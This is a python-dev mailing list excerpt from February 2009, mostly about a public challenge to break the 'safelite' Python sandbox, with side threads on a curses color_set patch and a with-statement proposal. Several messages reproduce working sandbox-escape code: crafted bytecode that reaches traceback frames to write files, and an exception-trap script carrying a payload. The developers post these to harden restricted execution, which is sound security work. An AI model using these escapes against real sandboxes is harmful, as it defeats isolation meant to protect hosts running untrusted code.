	<200902240147.05139.victor.stinner@haypocalc.com>
	<ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
	<eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
Message-ID: <ca471dc20902241123l12380d5bgd4d2b978a97fd14d@mail.gmail.com>

On Mon, Feb 23, 2009 at 11:07 PM, tav <tav at espians.com> wrote:
> ?guido> I can access the various class and metaclass objects
> ?guido> easily [snip]
>
> It would've been possible to replace __call__ on the metaclass --
> which, though not a security leak by itself, could've been abused for
> some fun.
>
> I've inlined the __metaclass__ to prevent fun of this kind.

In fact you don't need a metaclass at all. I think you could do
something like this in your Namespace() function:

...compute ns_items as before...
class NamespaceObject(object):
  __slots__ = ()
for name, value in ns_items:
  setattr(NamespaceObject, name, value)
return NamespaceObject()

> But the really tricky one so far is this hardcore hack that Paul
> Cannon emailed in:
>
>>>> from safelite import FileReader
>>>> __builtins__.TypeError = type(lambda: 0)(type(compile('1', 'b', 'eval'))(2, 2, 4, 67, 'y\x08\x00t\x00\x00\x01Wn\x09\x00\x01\x01a\x00\x00n\x01\x00X|\x01\x00|\x00\x00\x83\x01\x00S', (None,), ('stuff',), ('g', 'x'), 'q', 'f', 1, ''), globals(), None, (TypeError,))
>>>> try:
> ... ? FileReader('foo', 2)
> ... except:
> ... ? pass
> ...
>>>> stuff.tb_frame.f_back.f_locals['open_file']('w00t', 'w').write('yaymore\n')

That is a known loophole that makes anything possible (mostly
segfaults, for sure). App Engine also stops you from doing this.

> He explains it in detail here:
> http://thepaulprog.blogspot.com/2009/02/safelite-exploit.html
>
> It's very cool!
>
> He uses the ``compile`` builtin to get hold of the CodeType and then
> uses that to construct a nifty function with custom bytecode. Turns
> out that with the bytecode one can grab traceback objects off of the
> stack!!
>
> And, from there, it's just a mere attribute access away to get hold of
> traceback.tb_frame!
>
> Paul, wisely, outlines the two possible options to remedy this:
>
> 1. Remove ``compile`` from the safe builtins
> 2. Take out ``tb_frame``

3. Disallow creating code objects from their constructor in restricted
mode. Please add this to your "restricted" patch.

(I still think your challenge would be more realistic if you didn't
share __builtins__ but instead relied on restricted mode more.)

> If compile is not present and given that func_code and gi_code are not
> present -- are there other ways of getting at the CodeType? If there
> aren't then getting rid of compile gives us an easy win.

You can also create code objects by unmarshalling them. This should
also be prevented in restricted mode.

> If getting rid of tb_frame is the approach -- then you were right
> Guido -- there are more variables which need to be restricted! But,
> this just makes the patch into 7 lines of code instead of 6, so I'm
> still happy =)

Restricting tb_frame is probably a good idea on its own; in 3.0 you
won't have to work so hard to get access to a traceback object, since
each exception has one. OTOH traceback.py uses some things from the
frame, but maybe we'll just have to forego that (or provide selected
R/O access to some frame attributes deemed benign).

> The only thing I can't figure out is how to get rid of the attribute
> using ctypes for the safelite challenge as calling
> dictionary_of(TracebackType) in safelite.py presents a very minimal
> {'__doc__': None}

I don't know anything about ctypes or dictionary_of(). Maybe you need
to raise an exception first so that PyType_Ready is called? The source
is in Python/traceback.c.

> Also, the comments in Lib/types.py states:
>
> ? ?# In the restricted environment, exc_info returns (None, None,
> ? ?# None) Then, tb.tb_frame gives an attribute error
>
> I can't seem to find the place in the Python source where exc_info()
> behaves differently under restricted mode...

I'm guessing this refers to a pseudo-implementation of sys.exc_info()
provided by rexec.py.

> Thoughts on which of the two options is better would be very appreciated!
>
> And thanks for the ongoing hacks guys -- this is turning out great!!
>
> --
> love, tav
>
> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
>



-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Tue Feb 24 20:27:57 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 24 Feb 2009 11:27:57 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<200902240147.05139.victor.stinner@haypocalc.com>
	<ca471dc20902231659u632071f6y5a19ba99dd672585@mail.gmail.com>
	<eb24b25b0902232307s4528cf02r58b1190a8cbcad08@mail.gmail.com>
	<49A3D272.6030404@gmail.com>
	<eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
	<d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
Message-ID: <ca471dc20902241127g1fdc45fw9559c6665e0c2ee4@mail.gmail.com>

On Tue, Feb 24, 2009 at 6:46 AM, Andrew Dalke <dalke at dalkescientific.com> wrote:
> On Tue, Feb 24, 2009 at 3:05 PM, tav <tav at espians.com> wrote:
>> And instead of trying to make tb_frame go away, I'd like to add the
>> following to my proposed patch of RESTRICTED attributes:
>>
>> * f_code
>> * f_builtins
>> * f_globals
>> * f_locals
>>
>> That seems to do the trick...
>
> A goal is to use this in App Engine, yes? Which uses cgitb to report
> errors? Which needs these restricted frame attributes to report the
> values of variables when the error occurred?

The goal is not to run the entire app in the sandbox. The goal (Tav's
goal I should say -- I don't have this need myself :-) is for an app
to be able to safely run snippets of Python uploaded by users of the
app. I think it's fine if those snippets can't format beautiful
tracebacks -- the app's own ability to do so is not affected.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Tue Feb 24 20:30:12 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 24 Feb 2009 11:30:12 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <1bc395c10902240724y68a1fb5au57dac919b37b863f@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<eb24b25b0902240605pa06535byf8ee4f593e23a20f@mail.gmail.com>
	<d78db4cd0902240646m349e4b78r81c26857c2b6850a@mail.gmail.com>
	<200902241552.31205.victor.stinner@haypocalc.com>
	<1bc395c10902240724y68a1fb5au57dac919b37b863f@mail.gmail.com>
Message-ID: <ca471dc20902241130l426ae2d2h7a74ef73bd7f7988@mail.gmail.com>

On Tue, Feb 24, 2009 at 7:24 AM, Jeff Hall <hall.jeff at gmail.com> wrote:
> I didn't see Tav actually say this but are we all agreed that compile()
> should be removed from __builtins__?

I personally disagree -- I think we should instead add restrictions on
the creation of new code objects by calling the constructor directly.
Calling compile() should be fine.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Tue Feb 24 20:30:46 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 24 Feb 2009 11:30:46 -0800
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
Message-ID: <ca471dc20902241130h5a1c371fp26e0cba0ae9dec82@mail.gmail.com>

On Tue, Feb 24, 2009 at 12:27 AM, tav <tav at espians.com> wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!
>
> I've fixed this hole in safelite.py, but would be interested to know
> if there are other non-user-initiated dynamically imported modules?
>
> Thanks Daniel for bringing this to our attention!

Grep the source for PyImport.

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From guido at python.org  Tue Feb 24 20:32:23 2009
From: guido at python.org (Guido van Rossum)
Date: Tue, 24 Feb 2009 11:32:23 -0800
Subject: [Python-Dev] Python jail: whitelist vs blacklist
In-Reply-To: <eb24b25b0902240618l4dca9b4fu7c2dfc5f57b0c823@mail.gmail.com>
References: <200902241350.40630.victor.stinner@haypocalc.com>
	<eb24b25b0902240618l4dca9b4fu7c2dfc5f57b0c823@mail.gmail.com>
Message-ID: <ca471dc20902241132v71706f0el3347763d17cd5d87@mail.gmail.com>

On Tue, Feb 24, 2009 at 6:18 AM, tav <tav at espians.com> wrote:
> Ehm, I'd strongly discourage any approaches using proxies. The
> performance penalties will just be insane.

And yet your FileReader is essentially a proxy?!

-- 
--Guido van Rossum (home page: http://www.python.org/~guido/)

From brett at python.org  Tue Feb 24 21:16:33 2009
From: brett at python.org (Brett Cannon)
Date: Tue, 24 Feb 2009 12:16:33 -0800
Subject: [Python-Dev] Core sprint page for PyCon 2009 now up
Message-ID: <bbaeab100902241216u4a19d543j1eeb723591b8390d@mail.gmail.com>

If you plan to attend go to
http://us.pycon.org/2009/sprints/projects/python-core/ and fill in your name
and when you plan to be there (not required, though; just nice).

-Brett
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090224/5912c204/attachment.htm>

From ajaksu at gmail.com  Tue Feb 24 22:42:59 2009
From: ajaksu at gmail.com (Daniel (ajax) Diniz)
Date: Tue, 24 Feb 2009 18:42:59 -0300
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<200902240131.55708.victor.stinner@haypocalc.com>
	<eb24b25b0902231642s4bb1db45xd4183fe8c0a5bc43@mail.gmail.com>
	<2d75d7660902232046j19858ebdv10bd72d616098bb2@mail.gmail.com>
	<eb24b25b0902240027i5e0dbbf7qc2d9128bf9092e91@mail.gmail.com>
Message-ID: <2d75d7660902241342r5f60074aw1545affbcd095882@mail.gmail.com>

print '''
tav wrote:
> Daniel emailed in the exploit below and it is pretty devastating. It
> takes advantage of the fact that the warnings framework in 2.6+
> dynamically imports modules without being explicitly called!!

Here's one I couldn't develop to a working exploit, but think is promising.
It highlights a real Python bug and an implementation detail.

Targets 2.6 or trunk.

It was how I stumbled upon the _warnings hack :)

Should be copy-n-past'able,

Daniel
'''

# Hi
from safelite import FileReader

# First, it's possible to set a booby-trapped
# Exception due to a Python bug

# This is bait, say hi bait
def bait():
    ''' Hi! '''
    try:
        return bait()
    except:
        return "Ready to go"

# Set the trap
bait()

# Let FileReader trigger it -> RuntimeError in Namespace:
FileReader('safelite.py')

# ^- shoud give:
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
#   File "safelite.py", line 242, in FileReader
#     self = Namespace()
#   File "safelite.py", line 165, in Namespace
#     for name, obj in sys.get_frame_locals(frame) \
#                                       .iteritems():
#  RuntimeError: maximum recursion depth exceeded
#

# Now, I think this might be a special RuntimeError...
# Let's catch it! Bait, please?
bait()
try:
    FileReader('safelite.py')
except Exception, caught:
    pass

# Let's brand it
caught.__init__("I'm back, the other side is scary!")

# Now set it free and see if it comes back
bait()
try:
    FileReader('safelite.py')
except Exception, caught_again:
    pass

# Who's there?
print caught_again # -> He's back!

# So, hm, that's it... not so exciting but might help
# traceback-based exploits. Did I mention little 'caught'
# there can carry arbitrary payloads? Nice boy.

# Another one
#
# Now, that we have a protection against _warnings,
# an obvious bait-less new trap is available

# Got a spare SystemError?
FileReader('safelite.py', 'r', 1.1)

# ^- shoud give:
# Traceback (most recent call last):
#  File "<stdin>", line 1, in <module>
#  File "safelite.py", line 201, in FileReader
#    fileobj = open_file(filename, mode, buffering)
# SystemError: Objects/moduleobject.c:50: bad argument \
#                                   to internal function

# Nice, but I want a cleaner one. Hey, caught, could you?
print caught.message

# ^- shoud give:
# Traceback (most recent call last):
#   File "<stdin>", line 1, in <module>
# SystemError: Objects/moduleobject.c:50: bad argument \
#                                  to internal function

# This seems to be a regular SystemError. It's not as
# polite as our pet RuntimeError 'caught', which can
# be silenced by intervening Exceptions.

# As I should stop playing with this, here's
# a plea for help: set 'caught' free before you go.

# Here's the target: freedom
class freedom(object):
    def __repr__(self):
        print list(sorted(globals()['__builtins__'].keys()))
        print '\n\n--------\n'
        return str(input('Type for freedom:\n >> ;) > '))

# Initiate caught on it
caught.__init__(freedom())

# Set the bait...
bait()

# Now, type something clever :)
FileReader('safelite.py')

From jbaker at zyasoft.com  Tue Feb 24 23:11:00 2009
From: jbaker at zyasoft.com (Jim Baker)
Date: Tue, 24 Feb 2009 15:11:00 -0700
Subject: [Python-Dev] Reviving restricted mode?
In-Reply-To: <eb24b25b0902231503y3fab2facu9c64483d309317d@mail.gmail.com>
References: <ca471dc20902220845g187dae52nd3b3779b3cacfe4d@mail.gmail.com>
	<1afaf6160902220954w22765306m37e81c9dba0e4b4c@mail.gmail.com>
	<ca471dc20902221102w4c558ea9u39dd61c22b117775@mail.gmail.com>
	<eb24b25b0902221322h421a8797yde7eedaa46673ebf@mail.gmail.com>
	<49A1CE8D.9000508@v.loewis.de>
	<eb24b25b0902230923g62c30364r4a3cb0b1b80e7a2a@mail.gmail.com>
	<49A3261A.8040903@v.loewis.de>
	<eb24b25b0902231503y3fab2facu9c64483d309317d@mail.gmail.com>
Message-ID: <d03bb4010902241411g59edfcadh73bb6e92beaec060@mail.gmail.com>

This looks very interesting. What I like about Tav's approach is that it
should also be directly applicable to Jython. Much like Jython in general,
there's a tight correspondence between typeobject.c/PyType.java and
genobject.c/PyGenerator.java. So we plan on trying out a similar, presumably
small patch too.

What will be very helpful here is identifying a set of tests that verify
these claims of restricted execution.

- Jim

On Mon, Feb 23, 2009 at 4:03 PM, tav <tav at espians.com> wrote:

> Hey Martin,
>
> >> The patch is a mere 6 lines of code and provides the absolute minimum
> >> that is needed to secure the Python interpreter!
> >
> > Unlike Guido, I'm not quite willing to your word for it.
>
> You are right. Sorry, I was a bit too enthusiastic and overstated the case.
>
> How about: "it could possibly enable a secured Python interpreter" ?
>
> > OTOH, the patch looks harmless (with minor corrections). It could
> > be considered a bug fix for the current set of restricted attributes
>
> Yes, and it is in that light that I would like the patch to be accepted.
>
> --
> love, tav
>
> plex:espians/tav | tav at espians.com | +44 (0) 7809 569 369
> http://tav.espians.com | http://twitter.com/tav | skype:tavespian
> _______________________________________________
> Python-Dev mailing list
> Python-Dev at python.org
> http://mail.python.org/mailman/listinfo/python-dev
> Unsubscribe:
> http://mail.python.org/mailman/options/python-dev/jbaker%40zyasoft.com
>



-- 
Jim Baker
jbaker at zyasoft.com
-------------- next part --------------
An HTML attachment was scrubbed...
URL: <http://mail.python.org/pipermail/python-dev/attachments/20090224/40601f3b/attachment.htm>

From steve at integrityintegrators.net  Tue Feb 24 23:18:10 2009
From: steve at integrityintegrators.net (Heracles)
Date: Tue, 24 Feb 2009 14:18:10 -0800 (PST)
Subject: [Python-Dev]  Adding support to curses library
Message-ID: <22191916.post@talk.nabble.com>


Hello,

I am working on a patch to add to the _cursesmodule.c file of the Python
core libraries.  I figured I would take on one of the implemented functions
to try to get my feet wet contributing to the project.  At any rate, I have
the following function defined in the 2.7.a version updated from SVN this
morning:

------------- Snippet ---------------------------
// Insert new method color_set Steve Owens 2/24/2009
//   The curses library color_set function has the following signature:
//       int color_set(short color_pair_number, void* opts); 
static PyObject *
PyCurses_color_set(PyObject *self, PyObject *args)
{
   short color_pair_number;
   void * opts;
   int erg;

   // These macros ought to be documented in the API docs
   // but they aren't yet.
   PyCursesInitialised
   PyCursesInitialisedColor

   // Per ncurses Man Page: 
   //   The routine color_set sets the current color of the given window to
   // the foreground/background combination described by the
color_pair_number. 
   // The parameter opts is reserved for future use, applications must
supply a 
   // null pointer. 
   switch(PyTuple_Size(args))
   {
   case 1:
	   // Dont make them pass a useless null pointer.
	   if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
	   break;
   case 2:
	   // Allow them to pass the opts pointer so that when ncurses is later
updated.
	   // This method will still work.
	   if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
NULL;	
	   break;
   default:
      PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
(color_pair_number[, opts]?)");
	  return NULL;
   }

   erg = color_set(color_pair_number, opts); // Debating on forcing null
here.
   
   if (erg == ERR) 
	  return PyCursesCheckERR(erg, "color_set");
   else
      PyInt_FromLong((long) 1L); 
}
-------------End  Snippet ---------------------------

I also have the following added in (see last line of the snippet):

------------- Snippet ---------------------------
static PyMethodDef PyCurses_methods[] = {
  {"baudrate",            (PyCFunction)PyCurses_baudrate, METH_NOARGS},
  {"beep",                (PyCFunction)PyCurses_beep, METH_NOARGS},
  {"can_change_color",    (PyCFunction)PyCurses_can_change_color,
METH_NOARGS},
  {"cbreak",              (PyCFunction)PyCurses_cbreak, METH_VARARGS},
  {"color_content",       (PyCFunction)PyCurses_Color_Content,
METH_VARARGS},
  {"color_pair",          (PyCFunction)PyCurses_color_pair, METH_VARARGS},
  {"color_set",           (PyCFunction)PyCurses_color_set, METH_VARARGS},
-------------End  Snippet ---------------------------

The code compiles and installs fine, but when I run the following unit test,
I get a segmentation fault:

------------- Snippet ---------------------------
import unittest, curses
from test import test_support

def testCursesColorSet(stdscrn):
   curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
   curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
   i = curses.color_set(1, NULL);
   stdscrn.addstr("RED/BLACK (%0)\n".format(i))
   i = curses.color_set(2, NULL);
   stdscrn.print("WHITE/BLUE (%0)\n".format(i))
   i = curses.color_set(0, NULL);
   stdscrn.print("Default (%0)\n".format(i))


def test_main(stdscrn):
   curses.savetty()
   if curses.has_color():
      testCursesColorSet(stdscrn)
   else
      stdscr.addstr( "Test Aborted: Color not supported on this terminal.")


if __name__ == '__main__':
    curses.wrapper(test_main)
-------------End  Snippet ---------------------------

It turns out that by commenting out this line in the _cursesmodule.c code,
allows the unit test to run 
obviously reporting the error as expected:

------------- Snippet ---------------------------
//erg = color_set(color_pair_number, opts); // Debating on forcing null
here.
-------------End  Snippet ---------------------------

At any rate I am stuck.  I am still trying to build just a plain C file
which will test the color_set function 
outside of python, but that is another task.

Any suggestions?


-- 
View this message in context: http://www.nabble.com/Adding-support-to-curses-library-tp22191916p22191916.html
Sent from the Python - python-dev mailing list archive at Nabble.com.


From lie.1296 at gmail.com  Wed Feb 25 03:59:38 2009
From: lie.1296 at gmail.com (Lie Ryan)
Date: Wed, 25 Feb 2009 02:59:38 +0000 (UTC)
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>
	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>
	<ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>
	<eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>
Message-ID: <go2c6p$vf$1@ger.gmane.org>

On Mon, 23 Feb 2009 23:22:19 +0000, tav wrote:

> Steve, this isn't death by a 1,000 cuts. What's being put forward here
> is not a specific implementation -- but rather a specific model of
> security (the object capability model) -- which has been proven to be
> foolproof.

Proven? Isn't it impossible to prove something like this? "Nobody ever 
see an alien" is not a proof for "There is no alien". "Nobody have 
thought of a way to break the model" is not a proof for "The model is 
invincible"...


From steve at holdenweb.com  Wed Feb 25 04:10:55 2009
From: steve at holdenweb.com (Steve Holden)
Date: Tue, 24 Feb 2009 22:10:55 -0500
Subject: [Python-Dev] Challenge: Please break this! [Now with blog post]
In-Reply-To: <go2c6p$vf$1@ger.gmane.org>
References: <eb24b25b0902231441y2f88da3do48d288d3ee766a2d@mail.gmail.com>	<ca471dc20902231451n2cde368cv2fe376dfb3a3d7d0@mail.gmail.com>	<ca471dc20902231507o4b595bfbw1502176b8c32f17e@mail.gmail.com>	<eb24b25b0902231522w63fc8a22u2129484300ee71bb@mail.gmail.com>
	<go2c6p$vf$1@ger.gmane.org>
Message-ID: <go2cs6$58r$1@ger.gmane.org>

Lie Ryan wrote:
> On Mon, 23 Feb 2009 23:22:19 +0000, tav wrote:
> 
>> Steve, this isn't death by a 1,000 cuts. What's being put forward here
>> is not a specific implementation -- but rather a specific model of
>> security (the object capability model) -- which has been proven to be
>> foolproof.
> 
> Proven? Isn't it impossible to prove something like this? "Nobody ever 
> see an alien" is not a proof for "There is no alien". "Nobody have 
> thought of a way to break the model" is not a proof for "The model is 
> invincible"...
> 
Quite.

regards
 Steve
-- 
Steve Holden        +1 571 484 6266   +1 800 494 3119
Holden Web LLC              http://www.holdenweb.com/


From nnorwitz at gmail.com  Wed Feb 25 06:41:10 2009
From: nnorwitz at gmail.com (Neal Norwitz)
Date: Tue, 24 Feb 2009 21:41:10 -0800
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <22191916.post@talk.nabble.com>
References: <22191916.post@talk.nabble.com>
Message-ID: <ee2a432c0902242141p431d9d00g5f700154e23db1b4@mail.gmail.com>

On Tue, Feb 24, 2009 at 2:18 PM, Heracles
<steve at integrityintegrators.net> wrote:
>
> Hello,
>
> I am working on a patch to add to the _cursesmodule.c file of the Python
> core libraries. ?I figured I would take on one of the implemented functions
> to try to get my feet wet contributing to the project. ?At any rate, I have
> the following function defined in the 2.7.a version updated from SVN this
> morning:

I'm glad you are interested in developing Python.  I'm not sure if
this is the best forum.  OTOH, I'm not sure if comp.lang.python would
be appropriate either.

I'd suggest making a proper patch and submitting it to http://bugs.python.org

> ------------- Snippet ---------------------------
> // Insert new method color_set Steve Owens 2/24/2009
> // ? The curses library color_set function has the following signature:
> // ? ? ? int color_set(short color_pair_number, void* opts);
> static PyObject *
> PyCurses_color_set(PyObject *self, PyObject *args)
> {
> ? short color_pair_number;
> ? void * opts;
> ? int erg;
>
> ? // These macros ought to be documented in the API docs
> ? // but they aren't yet.
> ? PyCursesInitialised
> ? PyCursesInitialisedColor
>
> ? // Per ncurses Man Page:
> ? // ? The routine color_set sets the current color of the given window to
> ? // the foreground/background combination described by the
> color_pair_number.
> ? // The parameter opts is reserved for future use, applications must
> supply a
> ? // null pointer.
> ? switch(PyTuple_Size(args))
> ? {
> ? case 1:
> ? ? ? ? ? // Dont make them pass a useless null pointer.
> ? ? ? ? ? if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
> ? ? ? ? ? break;
> ? case 2:
> ? ? ? ? ? // Allow them to pass the opts pointer so that when ncurses is later
> updated.
> ? ? ? ? ? // This method will still work.
> ? ? ? ? ? if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
> NULL;
> ? ? ? ? ? break;
> ? default:
> ? ? ?PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
> (color_pair_number[, opts]?)");
> ? ? ? ? ?return NULL;
> ? }
>
> ? erg = color_set(color_pair_number, opts); // Debating on forcing null
> here.
>
> ? if (erg == ERR)
> ? ? ? ? ?return PyCursesCheckERR(erg, "color_set");
> ? else
> ? ? ?PyInt_FromLong((long) 1L);

I did a cursory review of the patch and if this is the exact code,
this is a problem.  You are missing a return statement.  The compiler
should have issued a warning for this too.

> }
> -------------End ?Snippet ---------------------------
>
> I also have the following added in (see last line of the snippet):
>
> ------------- Snippet ---------------------------
> static PyMethodDef PyCurses_methods[] = {
> ?{"baudrate", ? ? ? ? ? ?(PyCFunction)PyCurses_baudrate, METH_NOARGS},
> ?{"beep", ? ? ? ? ? ? ? ?(PyCFunction)PyCurses_beep, METH_NOARGS},
> ?{"can_change_color", ? ?(PyCFunction)PyCurses_can_change_color,
> METH_NOARGS},
> ?{"cbreak", ? ? ? ? ? ? ?(PyCFunction)PyCurses_cbreak, METH_VARARGS},
> ?{"color_content", ? ? ? (PyCFunction)PyCurses_Color_Content,
> METH_VARARGS},
> ?{"color_pair", ? ? ? ? ?(PyCFunction)PyCurses_color_pair, METH_VARARGS},
> ?{"color_set", ? ? ? ? ? (PyCFunction)PyCurses_color_set, METH_VARARGS},
> -------------End ?Snippet ---------------------------
>
> The code compiles and installs fine, but when I run the following unit test,
> I get a segmentation fault:
>
> ------------- Snippet ---------------------------
> import unittest, curses
> from test import test_support
>
> def testCursesColorSet(stdscrn):
> ? curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
> ? curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
> ? i = curses.color_set(1, NULL);
> ? stdscrn.addstr("RED/BLACK (%0)\n".format(i))
> ? i = curses.color_set(2, NULL);
> ? stdscrn.print("WHITE/BLUE (%0)\n".format(i))
> ? i = curses.color_set(0, NULL);
> ? stdscrn.print("Default (%0)\n".format(i))
>
>
> def test_main(stdscrn):
> ? curses.savetty()
> ? if curses.has_color():
> ? ? ?testCursesColorSet(stdscrn)
> ? else
> ? ? ?stdscr.addstr( "Test Aborted: Color not supported on this terminal.")
>
>
> if __name__ == '__main__':
> ? ?curses.wrapper(test_main)
> -------------End ?Snippet ---------------------------
>
> It turns out that by commenting out this line in the _cursesmodule.c code,
> allows the unit test to run
> obviously reporting the error as expected:
>
> ------------- Snippet ---------------------------
> //erg = color_set(color_pair_number, opts); // Debating on forcing null
> here.
> -------------End ?Snippet ---------------------------
>
> At any rate I am stuck. ?I am still trying to build just a plain C file
> which will test the color_set function
> outside of python, but that is another task.
>
> Any suggestions?

Beyond what I said above, typically you need to go the next step.
Fire up a debugger and determine exactly where and why it's crashing.

Good luck!

n

From ulrich.berning at denviso.de  Wed Feb 25 09:48:18 2009
From: ulrich.berning at denviso.de (Ulrich Berning)
Date: Wed, 25 Feb 2009 09:48:18 +0100
Subject: [Python-Dev] Adding support to curses library
In-Reply-To: <22191916.post@talk.nabble.com>
References: <22191916.post@talk.nabble.com>
Message-ID: <49A505D2.40004@denviso.de>

Heracles wrote:

>Hello,
>
>I am working on a patch to add to the _cursesmodule.c file of the Python
>core libraries.  I figured I would take on one of the implemented functions
>to try to get my feet wet contributing to the project.  At any rate, I have
>the following function defined in the 2.7.a version updated from SVN this
>morning:
>
>------------- Snippet ---------------------------
>// Insert new method color_set Steve Owens 2/24/2009
>//   The curses library color_set function has the following signature:
>//       int color_set(short color_pair_number, void* opts); 
>static PyObject *
>PyCurses_color_set(PyObject *self, PyObject *args)
>{
>   short color_pair_number;
>   void * opts;
>   int erg;
>
>   // These macros ought to be documented in the API docs
>   // but they aren't yet.
>   PyCursesInitialised
>   PyCursesInitialisedColor
>
>   // Per ncurses Man Page: 
>   //   The routine color_set sets the current color of the given window to
>   // the foreground/background combination described by the
>color_pair_number. 
>   // The parameter opts is reserved for future use, applications must
>supply a 
>   // null pointer. 
>   switch(PyTuple_Size(args))
>   {
>   case 1:
>	   // Dont make them pass a useless null pointer.
>	   if (!PyArg_ParseTuple(args, "h", &color_pair_number)) return NULL;
>	   break;
>   case 2:
>	   // Allow them to pass the opts pointer so that when ncurses is later
>updated.
>	   // This method will still work.
>	   if (!PyArg_ParseTuple(args, "hO&", &color_pair_number, &opts)) return
>NULL;	
>	   break;
>   default:
>      PyErr_SetString(PyExc_TypeError, "color_set requires 1 or 2 arguments
>(color_pair_number[, opts]?)");
>	  return NULL;
>   }
>
>   erg = color_set(color_pair_number, opts); // Debating on forcing null
>here.
>   
>   if (erg == ERR) 
>	  return PyCursesCheckERR(erg, "color_set");
>   else
>      PyInt_FromLong((long) 1L); 
>}
>-------------End  Snippet ---------------------------
>
>I also have the following added in (see last line of the snippet):
>
>------------- Snippet ---------------------------
>static PyMethodDef PyCurses_methods[] = {
>  {"baudrate",            (PyCFunction)PyCurses_baudrate, METH_NOARGS},
>  {"beep",                (PyCFunction)PyCurses_beep, METH_NOARGS},
>  {"can_change_color",    (PyCFunction)PyCurses_can_change_color,
>METH_NOARGS},
>  {"cbreak",              (PyCFunction)PyCurses_cbreak, METH_VARARGS},
>  {"color_content",       (PyCFunction)PyCurses_Color_Content,
>METH_VARARGS},
>  {"color_pair",          (PyCFunction)PyCurses_color_pair, METH_VARARGS},
>  {"color_set",           (PyCFunction)PyCurses_color_set, METH_VARARGS},
>-------------End  Snippet ---------------------------
>
>The code compiles and installs fine, but when I run the following unit test,
>I get a segmentation fault:
>
>------------- Snippet ---------------------------
>import unittest, curses
>from test import test_support
>
>def testCursesColorSet(stdscrn):
>   curses.init_pair(1, curses.COLOR_RED, curses.COLOR_WHITE)
>   curses.init_pair(2, curses.COLOR_WHITE, curses.COLOR_BLUE);
>   i = curses.color_set(1, NULL);
>   stdscrn.addstr("RED/BLACK (%0)\n".format(i))
>   i = curses.color_set(2, NULL);
>   stdscrn.print("WHITE/BLUE (%0)\n".format(i))
>   i = curses.color_set(0, NULL);
>   stdscrn.print("Default (%0)\n".format(i))
>
>
>def test_main(stdscrn):
>   curses.savetty()
>   if curses.has_color():
>      testCursesColorSet(stdscrn)
>   else
>      stdscr.addstr( "Test Aborted: Color not supported on this terminal.")
>
>
>if __name__ == '__main__':
>    curses.wrapper(test_main)
>-------------End  Snippet ---------------------------
>
>It turns out that by commenting out this line in the _cursesmodule.c code,
>allows the unit test to run 
>obviously reporting the error as expected:
>
>------------- Snippet ---------------------------
>//erg = color_set(color_pair_number, opts); // Debating on forcing null
>here.
>-------------End  Snippet ---------------------------
>
>At any rate I am stuck.  I am still trying to build just a plain C file
>which will test the color_set function 
>outside of python, but that is another task.
>
>Any suggestions?
>
>
>  
>
As long as Python is written in C, please don't use C++ comments, some C 
compilers don't like them.

Ulli

From ncoghlan at gmail.com  Wed Feb 25 13:24:33 2009
From: ncoghlan at gmail.com (Nick Coghlan)
Date: Wed, 25 Feb 2009 22:24:33 +1000
Subject: [Python-Dev] Allow __enter__() methods to skip the with statement
	body?
Message-ID: <49A53881.3070908@gmail.com>

An interesting discrepancy [1] has been noted when comparing
